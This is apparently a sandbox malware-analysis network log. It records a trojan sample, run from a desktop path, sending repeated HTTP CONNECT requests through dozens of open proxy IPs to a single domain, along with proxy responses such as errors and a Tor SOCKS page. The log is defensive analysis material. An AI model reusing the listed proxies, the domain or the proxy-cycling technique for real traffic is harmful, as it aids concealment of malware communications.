Feb 23, 2024 14:28:39.222686052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1640	192.168.2.8	54744	103.166.141.74	20074	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.223015070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.608227968 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1641	192.168.2.8	54841	102.132.50.49	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.311117887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1642	192.168.2.8	54858	51.68.164.77	8095	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.312335968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.194890022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.382675886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.492131948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1643	192.168.2.8	50104	178.249.218.34	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.312516928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1644	192.168.2.8	54817	223.112.53.2	1025	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.312841892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.290271044 CET	34	IN	HTTP/1.1 503 Service Unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1645	192.168.2.8	54820	103.49.202.250	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.313344002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1646	192.168.2.8	54862	20.219.180.105	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.313350916 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:39.662065983 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1647	192.168.2.8	54257	45.11.95.165	6008	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.322942972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1648	192.168.2.8	53701	50.62.134.139	36916	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.388539076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.491942883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.494322062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.507441998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1649	192.168.2.8	54867	106.105.218.244	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.391120911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1650	192.168.2.8	53666	51.75.126.150	22935	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.391952991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.382515907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.492093086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1651	192.168.2.8	54654	142.54.236.97	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.392113924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1652	192.168.2.8	54870	175.183.82.221	8193	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.392570019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1653	192.168.2.8	53697	91.214.31.234	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.422431946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.491950035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.494323969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.507363081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:54.300663948 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1654	192.168.2.8	54506	45.179.231.210	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.425472975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1655	192.168.2.8	51239	150.220.8.228	64312	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.425473928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1656	192.168.2.8	54911	43.153.11.102	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.426299095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1657	192.168.2.8	54918	43.153.11.102	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.430088043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1658	192.168.2.8	54921	43.153.11.102	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.432535887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1659	192.168.2.8	54922	43.153.11.102	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.436427116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1660	192.168.2.8	54885	192.169.226.96	43328	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.441622019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.991822004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.491934061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.382936954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1661	192.168.2.8	54500	39.109.113.97	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.444267988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.585452080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.345222950 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Fri, 23 Feb 2024 13:08:19 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1662	192.168.2.8	54898	184.170.245.148	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.455948114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1663	192.168.2.8	54871	188.166.197.129	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.464778900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1664	192.168.2.8	54904	51.83.135.35	2846	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.528464079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1665	192.168.2.8	54909	104.16.81.76	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.528470039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.616492987 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1666	192.168.2.8	54896	85.14.8.226	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.528564930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1667	192.168.2.8	54872	36.64.238.82	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.528868914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1668	192.168.2.8	54903	79.110.197.144	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.529050112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1669	192.168.2.8	54905	185.54.0.18	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.529261112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1670	192.168.2.8	51291	107.180.90.88	64081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.534622908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.679279089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.695064068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1671	192.168.2.8	54906	31.43.33.55	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.535619974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1672	192.168.2.8	53742	51.158.111.76	16379	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.544348955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.679404020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.891984940 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1673	192.168.2.8	54521	45.67.210.47	3389	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.560756922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.174314976 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1674	192.168.2.8	51244	185.23.118.103	54244	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.560817957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.679372072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.695077896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.710398912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1675	192.168.2.8	54507	115.244.127.164	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.564207077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1676	192.168.2.8	54553	82.210.56.251	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.566128969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.585680962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1677	192.168.2.8	54549	185.49.30.5	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.581912994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1678	192.168.2.8	51315	173.249.33.122	45241	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.622646093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1679	192.168.2.8	54919	178.249.218.34	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
